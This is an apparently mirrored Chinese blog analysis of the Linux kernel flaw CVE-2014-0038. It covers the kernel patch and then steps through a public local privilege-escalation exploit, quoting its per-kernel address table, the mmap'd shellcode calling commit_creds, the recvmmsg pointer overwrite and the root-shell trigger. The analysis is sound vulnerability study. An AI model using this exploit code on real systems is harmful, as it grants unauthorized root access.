CVE-2014-0038核心漏洞原理與本地提權利用程式碼實現分析

wyzsk發表於2020-08-19
作者: seteuid0 · 2014/11/07 16:08

關鍵字:CVE-2014-0038,核心漏洞,POC,利用程式碼,本地提權,提權,exploit,cve analysis, privilege escalation, cve, kernel vulnerability

簡介

2014年1月31號時,solar在oss-sec郵件列表裡公佈了該CVE(cve-2014-0038)。這個CVE涉及到X32 ABI。X32 ABI在核心linux3.4中被合併進來,但RHEL/fedora等發行版並沒有開啟該編譯選項,因此未受該CVE影響。Ubuntu系統在近期的版本中開啟了該選項,因此收該CVE影響。X32 ABI就是在64位環境中使用32位地址,效率有所提升,相關資訊請參照參考資料或google。

漏洞原理

先看該CVE對應的patch

#!c++
diff --git a/net/compat.c b/net/compat.c
index dd32e34..f50161f 100644
--- a/net/compat.c
+++ b/net/compat.c
@@ -780,21 +780,16 @@ asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
    if (flags & MSG_CMSG_COMPAT)
        return -EINVAL;

-   if (COMPAT_USE_64BIT_TIME)
-       return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
-                     flags | MSG_CMSG_COMPAT,
-                     (struct timespec *) timeout);
-
    if (timeout == NULL)
        return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                      flags | MSG_CMSG_COMPAT, NULL);

-   if (get_compat_timespec(&ktspec, timeout))
+   if (compat_get_timespec(&ktspec, timeout))
        return -EFAULT;

    datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                   flags | MSG_CMSG_COMPAT, &ktspec);
-   if (datagrams > 0 && put_compat_timespec(&ktspec, timeout))
+   if (datagrams > 0 && compat_put_timespec(&ktspec, timeout))
        datagrams = -EFAULT;

    return datagrams;

該CVE引入的原因就是沒有對使用者空間的輸入資訊進行複製處理,直接將使用者空間輸入的timeout指標傳遞給__sys_recvmmsg函式進行處理。

正如patch中的修改方式,當timeout引數非空時,呼叫compat_get_timespec先對timetout進行處理,而該函式會對使用者空間的timeout進行copy處理。

#!c++
int compat_get_timespec(struct timespec *ts, const void __user *uts)
{
        if (COMPAT_USE_64BIT_TIME)
                return copy_from_user(ts, uts, sizeof *ts) ? -EFAULT : 0;
        else
                return get_compat_timespec(ts, uts);
}

那麼我們再來看傳遞進來的timeout會進行什麼操作呢?在 __sys_recvmmsg裡面。

#!c++
/*
 *     Linux recvmmsg interface
 */

int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,
           unsigned int flags, struct timespec *timeout)
{
    int fput_needed, err, datagrams;
    struct socket *sock;
    struct mmsghdr __user *entry;
    struct compat_mmsghdr __user *compat_entry;
    struct msghdr msg_sys;
    struct timespec end_time;

    if (timeout &&
        poll_select_set_timeout(&end_time, timeout->tv_sec,
                    timeout->tv_nsec))
        return -EINVAL;

    datagrams = 0;

    sock = sockfd_lookup_light(fd, &err, &fput_needed);
    if (!sock)
        return err;

    err = sock_error(sock->sk);
    if (err)
        goto out_put;

    entry = mmsg;
    compat_entry = (struct compat_mmsghdr __user *)mmsg;

    while (datagrams < vlen) {
        /*
         * No need to ask LSM for more than the first datagram.
         */
        if (MSG_CMSG_COMPAT & flags) {
            err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
                         &msg_sys, flags & ~MSG_WAITFORONE,
                         datagrams);
            if (err < 0)
                break;
            err = __put_user(err, &compat_entry->msg_len);
            ++compat_entry;
        } else {
            err = ___sys_recvmsg(sock,
                         (struct msghdr __user *)entry,
                         &msg_sys, flags & ~MSG_WAITFORONE,
                         datagrams);
            if (err < 0)
                break;
            err = put_user(err, &entry->msg_len);
            ++entry;
        }

        if (err)
            break;
        ++datagrams;

        /* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
        if (flags & MSG_WAITFORONE)
            flags |= MSG_DONTWAIT;

        if (timeout) {
            ktime_get_ts(timeout);
            *timeout = timespec_sub(end_time, *timeout);
            if (timeout->tv_sec < 0) {
                timeout->tv_sec = timeout->tv_nsec = 0;
                break;
            }

            /* Timeout, return less than vlen datagrams */
            if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
                break;
        }

        /* Out of band data, return right away */
        if (msg_sys.msg_flags & MSG_OOB)
            break;
    }

out_put:
    fput_light(sock->file, fput_needed);

    if (err == 0)
        return datagrams;

    if (datagrams != 0) {
        /*
         * We may return less entries than requested (vlen) if the
         * sock is non block and there aren't enough datagrams...
         */
        if (err != -EAGAIN) {
            /*
             * ... or  if recvmsg returns an error after we
             * received some datagrams, where we record the
             * error to return on the next call or if the
             * app asks about it using getsockopt(SO_ERROR).
             */
            sock->sk->sk_err = -err;
        }

        return datagrams;
    }

    return err;
}

該函式中對

#!c++
poll_select_set_timeout(&end_time, timeout->tv_sec,
                    timeout->tv_nsec))

。設定結束時間。 然後如下的程式碼保證timeout>=0

#!c++
if (timeout) {
    ktime_get_ts(timeout);
    *timeout = timespec_sub(end_time, *timeout);
    if (timeout->tv_sec < 0) {
        timeout->tv_sec = timeout->tv_nsec = 0;
        break;
    }

    /* Timeout, return less than vlen datagrams */
    if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
        break;
}

此外,poll_select_set_timeout會對timespec進行檢查,因此傳遞進來的timeout的tv_sec與tv_nsec必須符合timeout結構體,也就是構造利用地址的時候,地址上下文必須符合特定內容。

#!c++
/*
 * Returns true if the timespec is norm, false if denorm:
 */             
static inline bool timespec_valid(const struct timespec *ts)
{
        /* Dates before 1970 are bogus */
        if (ts->tv_sec < 0)
                return false;
        /* Can't have more nanoseconds then a second */
        if ((unsigned long)ts->tv_nsec >= NSEC_PER_SEC)
                return false;
        return true;
}

include/linux/time.h中的定義:#define NSEC_PER_SEC 1000000000L

到這裡我們知道,只要巧妙的利用timeout的這個特定,構造特定的timeout結構體就可以構造一個特定的地址出來,這樣我們就實現提權操作了。

利用程式碼分析

當前在exploit-db上有2個利用程式碼,利用原理基本相同,只是選用的構造地址的結構體不同,本文選用http://www.exploit-db.com/exploits/31347/中的exploit程式碼進行分析。

本exploit程式碼和其他很多核心提權程式碼利用方式大致相同,透過使用有漏洞的系統呼叫將一個特定的核心函式地址修改成使用者空間地址,然後將提權程式碼對映到對應地址的使用者空間中,這樣當使用者呼叫被修改的特定函式時,核心便執行了相關的提權程式碼。以下對應該利用程式碼進行詳細說明。

大家都知道,在64位系統中,由於地址較多,核心空間和使用者空間只需透過高几位是否為0或1進行區分,核心空間地址的範圍是0xffff ffff ffff ffff~0xffff 8000 0000 0000,而使用者空間的地址範圍是0x0000 7ffff ffff ffff~0x0000 0000 0000 0000。因此只需使用timeout的流程將高位的1變成0即可。

該exploit程式碼使用net_sysctl_root結構體的net_ctl_permissions函式指標進行利用。由於各個核心版本中不同函式對應的地址不同,因此定義了一個結構體存放各個核心核心版本的函式地址,這樣就可以在多個寫了特定核心地址的核心上完成提權操作。

#!c++
struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
};

struct offset offsets[] = {
    {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
    {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
};

Exploit程式開始就使用該函式對映結構體對當前核心進行檢查,獲取出要使用的函式地址指標offsets[i]

然後使用net_ctl_permissons的地址進行頁對齊,之後將高6*4位變成0,即設定為使用者空間地址。

#!c++
 mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
 mmapped &= 0x000000ffffffffff;

之後以該地址為基址map一段記憶體空間,設定該map區域可寫、可執行。先用0x90填充該map區域,構造滑梯。然後將提權程式碼複製到該map區域。

#!c++
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

if(mmapped == -1) {
    perror("mmap()");
    exit(-1);
}

memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
    perror("mprotect()");
    exit(-1);

提權程式碼是非常傳統的核心提權程式碼,透過呼叫commit_creds修改程式creds資料結構。注意commit_credsprepare_kernel_cred也是由特定於核心版本的核心地址資訊獲得,因此也包含在offset結構體中,需要依據特定的核心版本進行設定。

#!c++
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
    asm("mov $getroot, %rax; call *%rax;");
}

準備環境已經就緒,接下來就需要呼叫有漏洞的__NR_recvmmsg來進行地址修改。即修改net_sysctl_rootpermissions指標的數值。

#!c++
static struct ctl_table_root net_sysctl_root = {
        .lookup = net_ctl_header_lookup,
        .permissions = net_ctl_permissions,
};

而ctl_table_root的定義為:

#!c++
struct ctl_table_root {
        struct ctl_table_set default_set;
        struct ctl_table_set *(*lookup)(struct ctl_table_root *root,
                                           struct nsproxy *namespaces);
        int (*permissions)(struct ctl_table_header *head, struct ctl_table *table);
};

透過計算ctl_table_root可知:Permissions的位置為net_sysctl_root+96

這樣依次使用系統呼叫的timeout將.permissions的值的高6*4位從之前的1修改為0即可。

#!c++
for(i=0;i < 3 ;i++) {
    udp(i);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->desti);
    if(!retval) {
        fprintf(stderr,"\nrecvmmsg() failed\n");
    }
}

透過使用三次該系統呼叫,依次將0xFF** **** **** ****,0x00FF **** **** ****0x0000 FF** **** ****FF修改為00.

執行完畢後,提權程式成功將permissions指向了填充了提權程式碼的使用者空間中。注意:這裡必須從高位開始處理,由於各個程式是並行處理的,因此無法準確的保證timeout值和sleep值完全匹配,又由於timeout值的tv_sec>=0,因此只要從高位依次處理就可以避免借位的情況發生。這裡也是結構體選取的條件之一。

由於0xff*3 = 765,因此該提權程式需要13分鐘才能將permissions指向的地址值變成使用者空間的地址值。

萬事具備,只欠東風。只要使用者呼叫修改後的net_sysctl_root->permissions即可。

#!c++
void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);

    if(getuid() != 0) {
        fprintf(stderr,"not root, ya blew it!\n");
        exit(-1);
    }

    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
}

到此,該CVE分析完畢。不得不說該CVE的原理雖然比較簡單,但實現最後利用修過的手法還是非常巧妙的,值得學習。

參考

1、http://en.wikipedia.org/wiki/X32_ABI

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章